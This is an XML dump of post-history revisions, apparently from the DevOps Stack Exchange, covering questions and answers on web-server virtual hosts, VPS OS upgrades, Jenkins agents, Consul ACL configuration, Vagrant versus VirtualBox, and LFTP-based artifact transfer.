  <row Id="17955" PostHistoryTypeId="50" PostId="5338" RevisionGUID="42e343ea-8d43-4e8b-923b-1502fed3b8b4" CreationDate="2018-12-06T12:01:55.337" UserId="-1" />
  <row Id="17956" PostHistoryTypeId="2" PostId="5630" RevisionGUID="5d2d1a98-2e63-40dd-adc8-6c4e8567a138" CreationDate="2018-12-06T12:49:30.387" UserDisplayName="user5176" Text="A webserver environment as with *Apache* or *Nginx* includes a type of file (or a file system) that I can call a *webserver substrate*; In Apache it is called a **Virtual host** and in Nginx I can call it a &quot;Block system&quot;, mainly comprised of a `server{}` block, among other blocks.&#xD;&#xA;&#xD;&#xA;This &quot;webserver substratre&quot; **connects** an app's directory with the webserver, and also enables or disables it (by means of webserver requests and responses associated with that app directory). Thus, each web application has one such substrate.&#xD;&#xA;&#xD;&#xA;What is the common term for such file, or file system, in the *Linux System Administration* (LSA) field?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17957" PostHistoryTypeId="1" PostId="5630" RevisionGUID="5d2d1a98-2e63-40dd-adc8-6c4e8567a138" CreationDate="2018-12-06T12:49:30.387" UserDisplayName="user5176" Text="What is the common term for Apache virtual hosts or Nginx block systems?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17958" PostHistoryTypeId="3" PostId="5630" RevisionGUID="5d2d1a98-2e63-40dd-adc8-6c4e8567a138" CreationDate="2018-12-06T12:49:30.387" UserDisplayName="user5176" Text="&lt;terminology&gt;&lt;linux&gt;&lt;nginx&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17959" PostHistoryTypeId="2" PostId="5631" RevisionGUID="a94e3776-6195-43b6-a748-c4ae47a38adc" CreationDate="2018-12-06T12:49:30.387" UserDisplayName="user5176" Text="I get the impression that the general term either for one Apache virtual host file or a constellation of Nginx block files (each containing at least one block) is just that --- a virtual host.&#xD;&#xA;&#xD;&#xA;Per project; either the virtual host (entity) is a single file or a combination of files." ContentLicense="CC BY-SA 4.0" />
  <row Id="17960" PostHistoryTypeId="50" PostId="4811" RevisionGUID="6e30284c-19e1-4515-bdbc-83e7b50548e9" CreationDate="2018-12-06T13:01:25.197" UserId="-1" />
  <row Id="17961" PostHistoryTypeId="5" PostId="5631" RevisionGUID="741a2a66-25ed-49f5-9f70-7e4b72bcf5b4" CreationDate="2018-12-06T13:49:49.027" UserDisplayName="user5176" Comment="added 71 characters in body" Text="I get the impression that the general term either for one Apache virtual host file or a constellation of Nginx block files (each containing at least one block) is just that --- a virtual host.&#xD;&#xA;&#xD;&#xA;Per project; either the virtual host (entity) is a single file or a combination of files, and that's true if the webserver software is different than these two." ContentLicense="CC BY-SA 4.0" />
  <row Id="17962" PostHistoryTypeId="50" PostId="4831" RevisionGUID="262e7f6e-7adb-4df2-bd51-b036a9c7bcd1" CreationDate="2018-12-06T14:01:50.297" UserId="-1" />
  <row Id="17963" PostHistoryTypeId="2" PostId="5632" RevisionGUID="26718c67-13db-4e9a-8cbd-5ee4102da2e3" CreationDate="2018-12-06T15:28:49.433" UserDisplayName="user5176" Text="How frequently do PaaS;VPS services upgrade OS_release in comparison to PaaS;shared-webserver ?&#xD;&#xA;&#xD;&#xA;In PaaS;shared-webserver services it could happen once in 8 or 12 years or so !&#xD;&#xA;&#xD;&#xA;But I never used a PaaS;VPS service and I wonder if their standard to upgrade in OS_release version is different.&#xD;&#xA;&#xD;&#xA;Due to utilization of OS deployment automation tools like Vagrant, might it be different (per each new release, say each about 2 years) ?&#xD;&#xA;&#xD;&#xA;Or it also about 8-12 years?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17964" PostHistoryTypeId="1" PostId="5632" RevisionGUID="26718c67-13db-4e9a-8cbd-5ee4102da2e3" CreationDate="2018-12-06T15:28:49.433" UserDisplayName="user5176" Text="How frequently do PaaS;VPS services upgrade OS_release in comparison to PaaS;shared-webserver?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17965" PostHistoryTypeId="3" PostId="5632" RevisionGUID="26718c67-13db-4e9a-8cbd-5ee4102da2e3" CreationDate="2018-12-06T15:28:49.433" UserDisplayName="user5176" Text="&lt;linux&gt;&lt;vagrant&gt;&lt;release-management&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17966" PostHistoryTypeId="5" PostId="5632" RevisionGUID="156a6701-8f96-4ba1-aed2-9356e15e67cb" CreationDate="2018-12-06T15:39:33.577" UserDisplayName="user5176" Comment="added 117 characters in body" Text="How frequently do PaaS;VPS services upgrade OS_release in comparison to PaaS;shared-webserver ?&#xD;&#xA;&#xD;&#xA;In PaaS;shared-webserver services it could happen once in 8 or 12 years or so !&#xD;&#xA;&#xD;&#xA;But I never used a PaaS;VPS service and I wonder if their standard to upgrade in OS_release version is different.&#xD;&#xA;&#xD;&#xA;Due to utilization of OS deployment automation tools like Vagrant, might it be different (per each new release, say each about 2 years) or it also about 8-12 years?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;To clarify; I try to understand if there is some standard all PaaS;VPS providers are follow in that regard.&lt;/sub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17967" PostHistoryTypeId="50" PostId="4253" RevisionGUID="ea858c30-36ae-4817-8636-8cc762ebcd9d" CreationDate="2018-12-06T16:01:10.163" UserId="-1" />
  <row Id="17968" PostHistoryTypeId="5" PostId="5629" RevisionGUID="87b3c443-ddf9-46db-a483-df280b766360" CreationDate="2018-12-06T17:44:40.500" UserDisplayName="user5176" Comment="added 3 characters in body" Text="Is there a 5$-30$ IaaS that supports some [rolling-release][1] distro?&#xD;&#xA;&#xD;&#xA;I consider a rolling-rlease OS (like ArchLinux) upon non rolling ones or at least upon a **rolling-combo** such as a *rolling Win10 + Vagrant + rolling-Ubuntu*) to save resources (both hardware and money).&#xD;&#xA;&#xD;&#xA;ArchLinux seems to me to be the most communal and documented one out there but I might be wrong in that assumption.&#xD;&#xA;&#xD;&#xA;I once asked DigitalOcean if they offer any IaaS VPSs (&quot;droplets&quot;) with ArchLInux but a staff member told me they had that option and removed it for technical conflicts with their system and services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Rolling_release" ContentLicense="CC BY-SA 4.0" />
  <row Id="17969" PostHistoryTypeId="50" PostId="4720" RevisionGUID="ef77585c-4faf-4cf1-bfa3-7d734d3375c3" CreationDate="2018-12-06T18:01:20.487" UserId="-1" />
  <row Id="17973" PostHistoryTypeId="2" PostId="5634" RevisionGUID="bc110201-4c20-40c1-b868-6ed0ae0df94a" CreationDate="2018-12-07T09:06:52.047" UserId="11233" Text="I see (at least) two possible solutions that both have their drawbacks.&#xD;&#xA;&#xD;&#xA;1. Using a shared library containing all the code for your static analysis. That code can then be called as a step in the pipeline.  https://jenkins.io/doc/book/pipeline/shared-libraries/. This doesn't keep the execution out of the pipeline completely, but it keeps the code out of each pipeline/branch and is (in my opinion) a pretty straight forward solution.&#xD;&#xA;&#xD;&#xA;2. Putting the static analysis into a separate job, trigger that job for example with a git hook and then let that job trigger the pipeline. I my opinion a more complex solution that has more moving parts, but may be closer to what you're asking for." ContentLicense="CC BY-SA 4.0" />
  <row Id="17974" PostHistoryTypeId="2" PostId="5635" RevisionGUID="a4b34ccc-7399-4311-87c8-fbf46f349f30" CreationDate="2018-12-07T09:16:32.350" UserId="707" Text="Is there any public evidence of Apache Cloud Stack release 4.7.1.3?&#xD;&#xA;&#xD;&#xA;Namely, what I can find so far, there is only 4.7.1.1, but an instance I can observe reports to be a 4.7.1.3.&#xD;&#xA;&#xD;&#xA;See also:&#xD;&#xA;&#xD;&#xA;https://github.com/apache/cloudstack/issues/3084" ContentLicense="CC BY-SA 4.0" />
  <row Id="17975" PostHistoryTypeId="1" PostId="5635" RevisionGUID="a4b34ccc-7399-4311-87c8-fbf46f349f30" CreationDate="2018-12-07T09:16:32.350" UserId="707" Text="Quest for a missing release of Apache Cloud Stack 4.7.1.3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17976" PostHistoryTypeId="3" PostId="5635" RevisionGUID="a4b34ccc-7399-4311-87c8-fbf46f349f30" CreationDate="2018-12-07T09:16:32.350" UserId="707" Text="&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17977" PostHistoryTypeId="2" PostId="5636" RevisionGUID="c362bb93-75a4-4657-8490-16f5402fe906" CreationDate="2018-12-07T09:30:01.557" UserId="707" Text="As it came out, the instance is not Cloud Stack but Cloud Platform by Citrix, (a commercial fork?) so they have slightly other version numbers.&#xD;&#xA;&#xD;&#xA;i.e. 4.7.1.3 of Cloud Platform means it depends on CS 4.7.1.1." ContentLicense="CC BY-SA 4.0" />
  <row Id="17978" PostHistoryTypeId="5" PostId="5636" RevisionGUID="04ac380d-d398-4565-a70a-a6d36b952829" CreationDate="2018-12-07T09:36:07.167" UserId="707" Comment="added 65 characters in body" Text="As it came out, the instance is not Cloud Stack but [Cloud Platform by Citrix][1], (a commercial fork?) so they have slightly other version numbers.&#xD;&#xA;&#xD;&#xA;i.e. 4.7.1.3 of Cloud Platform means it depends on CS 4.7.1.1.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.shapeblue.com/citrix-cloudplatform/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17979" PostHistoryTypeId="5" PostId="5636" RevisionGUID="c85c8791-1f65-4f35-ba69-37b0f2ac93b8" CreationDate="2018-12-07T09:43:22.467" UserId="707" Comment="added 65 characters in body" Text="As it came out, the instance is not Cloud Stack but [Cloud Platform by Citrix][1], (a commercial fork?) so they have slightly different version numbers.&#xD;&#xA;&#xD;&#xA;I.e.:&#xD;&#xA;&#xD;&#xA;* 4.7.1.3 of Cloud Platform depends on CS 4.7.1.1.&#xD;&#xA;* 4.11 of Cloud Platform depends on CS 4.10..?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.shapeblue.com/citrix-cloudplatform/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17980" PostHistoryTypeId="5" PostId="5532" RevisionGUID="4aed86b8-597a-44f2-8f8b-c41e7313a8f2" CreationDate="2018-12-07T10:45:00.087" UserId="11032" Comment="added 3 characters in body" Text="Packer has taken an active decision not to build in such capabilities. This problem is much better solved by other tools such as jq, etc. We think the best way to leverage Packer is to wrap it if you need more ways to create the template. &#xD;&#xA;&#xD;&#xA;It's very easy to create json in any programming language which gives you unlimited expressiveness when creating templates. One great way to manipulate templates is to define them in _jinja2_ and preprocess it with Python." ContentLicense="CC BY-SA 4.0" />
  <row Id="17981" PostHistoryTypeId="50" PostId="5339" RevisionGUID="5f3e8988-d17c-4921-8efc-3b7b96724ec6" CreationDate="2018-12-07T11:02:35.553" UserId="-1" />
  <row Id="17982" PostHistoryTypeId="2" PostId="5637" RevisionGUID="25d711dc-b837-4edc-973f-22b6a0b0e3f3" CreationDate="2018-12-07T17:16:20.527" UserId="1202" Text="I still dont see how starting an agent creates a clean image.  Expanding on your setup would help us provide better answer.&#xD;&#xA;&#xD;&#xA;That said, from what I can gather here the following assumption comes to mind :&#xD;&#xA;&#xD;&#xA;* You have agents pre-populated on a VM image.  Starting this image will in turn start the agent in which you wish to start the build.&#xD;&#xA;&#xD;&#xA;So you now have a chicken vs egg problem where you need the agent running to start the job but you need to start the agent as the job starts.&#xD;&#xA;&#xD;&#xA;Why not have *another* agent who's job is to start the image.  This new agent is no longer sensitive to the image cleanliness and can run indefinitely.&#xD;&#xA;&#xD;&#xA;My approach here would take this a step further and not have the agent as part of the image altogether, but rather have the agent first start the image, provision it with whatever is needed for the build in some way, and then run the build.&#xD;&#xA;&#xD;&#xA;A simple shared folder on the image with the host could do the work.  Tools like Vagrant could also be of use.  But without more information it's really difficult to go further.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17983" PostHistoryTypeId="5" PostId="5637" RevisionGUID="f76fa1b7-5774-43b1-9278-00a602f64261" CreationDate="2018-12-07T17:23:05.470" UserId="1202" Comment="added 577 characters in body" Text="I still dont see how starting an agent creates a clean image.  Expanding on your setup would help us provide better answer.&#xD;&#xA;&#xD;&#xA;That said, from what I can gather here the following assumption comes to mind :&#xD;&#xA;&#xD;&#xA;* You have agents pre-populated on a VM image.  Starting this image will in turn start the agent in which you wish to start the build.&#xD;&#xA;&#xD;&#xA;So you now have a chicken vs egg problem where you need the agent running to start the job but you need to start the agent as the job starts.&#xD;&#xA;&#xD;&#xA;Why not have *another* agent who's job is to start the image.  This new agent is no longer sensitive to the image cleanliness and can run indefinitely.&#xD;&#xA;&#xD;&#xA;My approach here would take this a step further and not have the agent as part of the image altogether, but rather have the agent first start the image, provision it with whatever is needed for the build in some way, and then run the build.&#xD;&#xA;&#xD;&#xA;A simple shared folder on the image with the host could do the work.  Tools like Vagrant could also be of use.  But without more information it's really difficult to go further.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[This answer][1] on stack overflow could also contain some help in this regard.  Basically spins-up a new docker image on demand.&#xD;&#xA;&#xD;&#xA;Another possible way with your current setup, make sure the build always ends with a shutdown of the image. This way the next job will be sure to use a fresh image as it *should* never survive the build.  You could even test fort his situation and fail the build outright if you detect the image was re-cycled between builds rather than re-launched.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/38616906/jenkins-trigger-on-demand-slaves-in-dockers" ContentLicense="CC BY-SA 4.0" />
  <row Id="17984" PostHistoryTypeId="2" PostId="5638" RevisionGUID="2980d005-86b4-4ced-9d0d-b481b03f666c" CreationDate="2018-12-07T18:06:14.317" UserDisplayName="user5176" Text="Are all virtualization (OS/above-OS) utilities commonly considered DevOPs utilities?&#xD;&#xA;&#xD;&#xA;These could be *OS virtalization* utilities like VirtualBox and Vagrant and maybe also WSL is considered as such,&#xD;&#xA;&#xD;&#xA;as well as *above OS virtualization* tools like docker (AFAIK CMs like Ansible, Chef, Puppet and so forth aren't meant for &quot;virtuallizing&quot; anythin).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17985" PostHistoryTypeId="1" PostId="5638" RevisionGUID="2980d005-86b4-4ced-9d0d-b481b03f666c" CreationDate="2018-12-07T18:06:14.317" UserDisplayName="user5176" Text="Are all virtualization (OS/above-OS) utilities DevOPs utilities?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17986" PostHistoryTypeId="3" PostId="5638" RevisionGUID="2980d005-86b4-4ced-9d0d-b481b03f666c" CreationDate="2018-12-07T18:06:14.317" UserDisplayName="user5176" Text="&lt;terminology&gt;&lt;virtualization&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17991" PostHistoryTypeId="2" PostId="5640" RevisionGUID="5da81e68-c5cb-4ab8-9238-2cd16e595ab0" CreationDate="2018-12-07T20:05:14.060" UserDisplayName="user8517" Text="I am trying to setup a consul 1.3.1 server cluster. I am having a really hard time with it. Currently I can setup a single node perfectly fine and it seems to function as needed. I do this using a `acl_master_token` in my config file. However when I add in another node that is also a server but not bootstrapped I run into a whole host of issues. Some of the mains ones are related to joining the cluster (can't it gives me a 403 error) which from what I have read means you need the `acl_agent_token` and when I set that in my config file I still get a 403 error. &#xD;&#xA;&#xD;&#xA;I am assuming that I somehow need to create a policy and then apply that policy to my token. I am not sure how to do this inside a ruby script which is what I have to use to set this up (legacy stuff is in it and I can't remove the consul setup to be manual because it all is part of a chef cookbook).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is my config file, I have nothing else for config other than I start the consul service on both nodes using: `consul agent -data-dir /work-disk/consul_data -config-file /work-disk/consul/conf.json -bind 10.7.1.5`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**conf.json:**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;        &quot;bootstrap_expect&quot;: 2, &#xD;&#xA;        &quot;client_addr&quot;: &quot;0.0.0.0&quot;,&#xD;&#xA;        &quot;datacenter&quot;: &quot;&lt;%= @datacenter %&gt;&quot;,&#xD;&#xA;        &quot;acl_datacenter&quot;: &quot;&lt;%= @datacenter %&gt;&quot;,&#xD;&#xA;        &quot;acl_default_policy&quot;:&quot;deny&quot;,&#xD;&#xA;        &quot;acl_down_policy&quot;: &quot;deny&quot;,&#xD;&#xA;        &quot;acl_master_token&quot;: &quot;&lt;%= @acl_master_token %&gt;&quot;,&#xD;&#xA;        &quot;acl_agent_token&quot;: &quot;&lt;%= @acl_agent_token %&gt;&quot;,&#xD;&#xA;        &quot;data_dir&quot;: &quot;&lt;%= @consul_data_dir %&gt;&quot;,&#xD;&#xA;        &quot;domain&quot;: &quot;consul&quot;,&#xD;&#xA;        &quot;enable_script_checks&quot;: true,&#xD;&#xA;        &quot;dns_config&quot;: {&#xD;&#xA;            &quot;enable_truncate&quot;: true,&#xD;&#xA;            &quot;only_passing&quot;: true&#xD;&#xA;        },&#xD;&#xA;        &quot;enable_syslog&quot;: true,&#xD;&#xA;        &quot;encrypt&quot;: &quot;&lt;%= @consul_encryption_key %&gt;&quot;,&#xD;&#xA;        &quot;leave_on_terminate&quot;: true,&#xD;&#xA;        &quot;log_level&quot;: &quot;INFO&quot;,&#xD;&#xA;        &quot;rejoin_after_leave&quot;: true,&#xD;&#xA;        &quot;server&quot;: true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Ignore the chef variable parts, I figured I would include my template rather than my actual conf.json because I would have to redact the values anyway." ContentLicense="CC BY-SA 4.0" />
  <row Id="17992" PostHistoryTypeId="1" PostId="5640" RevisionGUID="5da81e68-c5cb-4ab8-9238-2cd16e595ab0" CreationDate="2018-12-07T20:05:14.060" UserDisplayName="user8517" Text="Creating agent policy consul" ContentLicense="CC BY-SA 4.0" />
  <row Id="17993" PostHistoryTypeId="3" PostId="5640" RevisionGUID="5da81e68-c5cb-4ab8-9238-2cd16e595ab0" CreationDate="2018-12-07T20:05:14.060" UserDisplayName="user8517" Text="&lt;consul&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17996" PostHistoryTypeId="50" PostId="4725" RevisionGUID="d25ce0c4-e3e2-4cba-ab55-6aabd6458e1a" CreationDate="2018-12-08T02:01:50.367" UserId="-1" />
  <row Id="17997" PostHistoryTypeId="2" PostId="5641" RevisionGUID="79b24835-91ba-4b26-8e34-198a633d81bb" CreationDate="2018-12-08T02:41:35.403" UserDisplayName="user5176" Text="Both Vagrant and VirtualBox (or their alternatives) seem to me to virtualize an OS on top of another OS,&#xD;&#xA;&#xD;&#xA;How do they differ from one another?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;If there's a general term for the type of each one of the two, please edit the question to include it, if not answering with it --- I'm having a hard time deciding if mentioning the diff on type should be part of the question or answer.&lt;/sub&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17998" PostHistoryTypeId="1" PostId="5641" RevisionGUID="79b24835-91ba-4b26-8e34-198a633d81bb" CreationDate="2018-12-08T02:41:35.403" UserDisplayName="user5176" Text="How does Vagrant differ from VirtualBox and similar software, if at all?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17999" PostHistoryTypeId="3" PostId="5641" RevisionGUID="79b24835-91ba-4b26-8e34-198a633d81bb" CreationDate="2018-12-08T02:41:35.403" UserDisplayName="user5176" Text="&lt;terminology&gt;&lt;vagrant&gt;&lt;virtualization&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18000" PostHistoryTypeId="5" PostId="5638" RevisionGUID="3512613e-e444-4bc3-b9e3-796ca7cd638b" CreationDate="2018-12-08T02:42:40.603" UserDisplayName="user5176" Comment="deleted 5 characters in body" Text="Are all virtualization (OS/above-OS) utilities commonly considered DevOPs utilities?&#xD;&#xA;&#xD;&#xA;These could be *OS virtalization* utilities like VirtualBox and Vagrant and maybe also WSL is considered as such and also, *above OS virtualization* tools like docker (AFAIK CMs like Ansible, Chef, Puppet and so forth aren't meant for &quot;virtuallizing&quot; anythin).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18001" PostHistoryTypeId="2" PostId="5642" RevisionGUID="ba9496b0-759c-4f11-941a-1ec8b33d134d" CreationDate="2018-12-08T06:50:54.850" UserId="707" Text="I'd say you have touched another, far more fundamental question.&#xD;&#xA;&#xD;&#xA;What makes an utility a &quot;DevOps&quot; utility?&#xD;&#xA;Possibly, my wish list would be:&#xD;&#xA;&#xD;&#xA;- Functionality is for DevOps toolchain; sure enough these can be virtualization tools if they fulfil further criteria down on this list&#xD;&#xA;- Open and interoperable API&#xD;&#xA;- Optimized workflows, see &quot;developer experience&quot;&#xD;&#xA;- Machine readable configuration as code&#xD;&#xA;- User community&#xD;&#xA;- Short release cycles&#xD;&#xA;- Certificate of software quality which is nowadays yet very ambigous" ContentLicense="CC BY-SA 4.0" />
  <row Id="18002" PostHistoryTypeId="50" PostId="5333" RevisionGUID="a86b7be4-d18d-4876-85cf-267f830f327f" CreationDate="2018-12-08T08:00:34.807" UserId="-1" />
  <row Id="18003" PostHistoryTypeId="2" PostId="5643" RevisionGUID="63957d36-a793-4925-a284-f568dff1e911" CreationDate="2018-12-08T10:04:36.440" UserId="10599" Text="It is a convenience that Jenkins will pull from git for you. With such a complex setup as needing to pull from two repos you can simply use a pipeline job that runs &quot;sh&quot; to explicitly git checkout the code and pull the submodules:&#xA;&#xA;    sh &quot;git checkout ${custom_env_var} ${custom_parameter}&#xA;&#xA;The good news with this slightly manual approach is that you can debug the sh commands to run on a dev server and cut paste them straight into a pipeline.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18006" PostHistoryTypeId="5" PostId="5641" RevisionGUID="a0f51bae-db97-4e34-9366-ca4a61cc4df7" CreationDate="2018-12-08T11:51:54.187" UserDisplayName="user5176" Comment="deleted 251 characters in body" Text="Both Vagrant and VirtualBox (or their alternatives) seem to me to virtualize an OS on top of another OS,&#xD;&#xA;&#xD;&#xA;How do they differ from one another essentially, if at all?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18007" PostHistoryTypeId="2" PostId="5644" RevisionGUID="42ba9aca-460b-4226-a2c9-689cf6a78890" CreationDate="2018-12-08T12:27:21.907" UserId="10766" Text="I recently learnt some basic devops and set my server on Digitalocean droplet with travis CI. As there is no travis deploy provider supports for Digitalocean, I have to write my own deploy script. However I have more than 50000 files i.e near about 1 GB of data. I tried scp, ftp, rsync but I feel it takes a lot of time. &#xD;&#xA;&#xD;&#xA;What are the transfer tools that is used in enterprise level ? Do they also use RSYNC or SCP. Or there are other tools that is better than these which are being used by medium level enterprises which I am not aware of. &#xD;&#xA;&#xD;&#xA;Any deployment script that can parallely transfer my files over ssh ? &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18008" PostHistoryTypeId="1" PostId="5644" RevisionGUID="42ba9aca-460b-4226-a2c9-689cf6a78890" CreationDate="2018-12-08T12:27:21.907" UserId="10766" Text="What are the tools used in enterprise level to transfer build artifacts from CI server to live server" ContentLicense="CC BY-SA 4.0" />
  <row Id="18009" PostHistoryTypeId="3" PostId="5644" RevisionGUID="42ba9aca-460b-4226-a2c9-689cf6a78890" CreationDate="2018-12-08T12:27:21.907" UserId="10766" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;travis-ci&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18010" PostHistoryTypeId="5" PostId="5642" RevisionGUID="ecc0f833-e52d-4d1f-9f7e-6da259197f9d" CreationDate="2018-12-08T13:26:14.457" UserId="707" Comment="added 45 characters in body" Text="I'd say you have touched another, far more fundamental question.&#xD;&#xA;&#xD;&#xA;What makes an utility a &quot;DevOps&quot; utility? That is, how do you measure the &quot;DevOps'iness&quot; of a tool and formalize facts in this context?&#xD;&#xA;&#xD;&#xA;Possibly, my wish list would be:&#xD;&#xA;&#xD;&#xA;- Functionality is for DevOps toolchain; sure enough these can be virtualization tools if they fulfil further criteria down on this list&#xD;&#xA;- Open and interoperable API, both for operational and intelligence needs&#xD;&#xA;- Optimized workflows, see &quot;developer experience&quot;&#xD;&#xA;- Machine readable configuration as code&#xD;&#xA;- User community&#xD;&#xA;- Short release cycles&#xD;&#xA;- Certificate of software quality which is nowadays yet very ambigous" ContentLicense="CC BY-SA 4.0" />
  <row Id="18011" PostHistoryTypeId="5" PostId="5631" RevisionGUID="5e6733af-e17f-4c51-9024-6c3a2bcf96b9" CreationDate="2018-12-08T13:35:19.930" UserDisplayName="user5176" Comment="added 29 characters in body" Text="All my searches for a term brought me to conclude that the general term either for one Apache virtual host file or a constellation of Nginx block files (each containing at least one block) is just that --- a virtual host.&#xD;&#xA;&#xD;&#xA;Per project; either the virtual host (entity) is a single file or a combination of files, and that's true if the webserver software is different than these two." ContentLicense="CC BY-SA 4.0" />
  <row Id="18012" PostHistoryTypeId="5" PostId="5632" RevisionGUID="3b4b50aa-1ead-4375-b526-f25adcb1e5b8" CreationDate="2018-12-08T13:57:27.500" UserDisplayName="user5176" Comment="added 55 characters in body; edited title" Text="I know that in a In *PaaS:shared-webserver* service a user could have the OS of its server environment **release_upgraded** in 8 or 12 years or so ! For example, I host a few sites on a particular host that uses a very old version of CentOS (from about 2007).&#xD;&#xA;&#xD;&#xA;I never used a *PaaS:VPS* service (like AWS/MSA/GCP) and I wonder if they have a different standard of doing OS release_upgrades; for example, I wonder if due to utilization of OS deployment tools like Vagrant, it might it be say per each new release (say, each 2 years) instead?&#xD;&#xA;&#xD;&#xA;How frequently do PaaS:VPS agencies upgrade OS_release in comparison to PaaS:shared-webserver?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18013" PostHistoryTypeId="4" PostId="5632" RevisionGUID="3b4b50aa-1ead-4375-b526-f25adcb1e5b8" CreationDate="2018-12-08T13:57:27.500" UserDisplayName="user5176" Comment="added 55 characters in body; edited title" Text="How frequently do PaaS:VPS agencies upgrade OS_release in comparison to PaaS:shared-webserver?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18014" PostHistoryTypeId="5" PostId="5642" RevisionGUID="405209f6-8a81-40f3-b4dd-79c292829514" CreationDate="2018-12-08T15:05:19.667" UserDisplayName="user5176" Comment="Very minor edit suggestion..." Text="I'd say you have touched another, far more fundamental question - what makes a utility a &quot;DevOps&quot; one? That is, how do you measure the &quot;DevOpsness&quot; of a tool and formalize facts in this context?&#xD;&#xA;&#xD;&#xA;Possibly, my wish list would be:&#xD;&#xA;&#xD;&#xA;- Functionality is for DevOps toolchain; sure enough these can be virtualization tools if they fulfil further criteria down on this list&#xD;&#xA;- Open and interoperable API, both for operational and intelligence needs&#xD;&#xA;- Optimized workflows, see &quot;developer experience&quot;&#xD;&#xA;- Machine readable configuration as code&#xD;&#xA;- User community&#xD;&#xA;- Short release cycles&#xD;&#xA;- Certificate of software quality which is nowadays yet very ambigous" ContentLicense="CC BY-SA 4.0" />
  <row Id="18015" PostHistoryTypeId="24" PostId="5642" RevisionGUID="405209f6-8a81-40f3-b4dd-79c292829514" CreationDate="2018-12-08T15:05:19.667" Comment="Proposed by 5176 approved by 707 edit id of 877" ContentLicense="CC BY-SA 4.0" />
  <row Id="18016" PostHistoryTypeId="2" PostId="5645" RevisionGUID="3dbf8b46-99a4-4402-975f-bb91d2aa6a56" CreationDate="2018-12-08T15:56:16.287" UserId="10599" Text="&#xA;Try [LFTP][1] that had commands to mirror or parallel copy. LFTP can run over many protocols.&#xA;&#xA;The likely problem you have is that you are transfering a lot of data from a build service to a single vm over the Internet. Enterprises use the same tools and protocols but they pay for more bandwidth else ensure that their builds and deploy happens within the same cloud provider. They then deploy to many servers in parallel using standard protocol with tools like Ansible. The networks within a single cloud provider (Azure, AWS, GCP) are prioritised. This means of you want fat bandwidth, and to run on Digital Ocean, you should build on Digital Ocean. &#xA;&#xA;It may be the case that a very large amount of the 1G of files doesn't change each build. So what you really want is a tool that looks at what files are already deployed. We can expect tools like to use file name, timestamps and file sizes to check whether a file needs uploading. If your build is stateless and crates 1G of fresh files each time their timestamps are going to be newer that the identical files already deployed. LFTP has an &quot;ignore time stamp&quot; option to avoid transfers of newer but identical files. See this question and answer https://serverfault.com/a/311670 &#xA;&#xA;&#xA;  [1]: https://www.cyberciti.biz/tips/linux-unix-download-accelerator.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18017" PostHistoryTypeId="5" PostId="5645" RevisionGUID="13c1b041-0ac0-4ea8-8cc3-f8699df4cf0a" CreationDate="2018-12-08T16:19:48.240" UserId="10599" Comment="edited body; added 11 characters in body; added 1 character in body" Text="&#xA;Try [LFTP][1] that has commands to mirror or parallel copy. LFTP can run over many protocols.&#xA;&#xA;The likely problem you have is that you are transfering a lot of data from a build service to a single vm over the Internet. Enterprises use the same tools and protocols but they pay for more bandwidth else ensure that their builds and deploy happens within the same cloud provider. They then deploy to many servers in parallel using standard protocol with tools like Ansible. The networks within a single cloud provider (Azure, AWS, GCP) are prioritised. This means of you want fat deployment bandwidth, and to run on Digital Ocean, you should build on Digital Ocean. &#xA;&#xA;It may be the case that a very large amount of the 50k of files dont change on each build. So what you really want is a tool that looks at what files are already deployed. We can expect tools like to use file name, timestamps and file sizes to check whether a file needs uploading. If your build is stateless and crates 1G of fresh files each time their timestamps are going to be newer that the identical files already deployed. LFTP has an &quot;ignore time stamp&quot; option to avoid transfers of newer but identical files. See this question and answer https://serverfault.com/a/311670 &#xA;&#xA;&#xA;  [1]: https://www.cyberciti.biz/tips/linux-unix-download-accelerator.html" ContentLicense="CC BY-SA 4.0" />
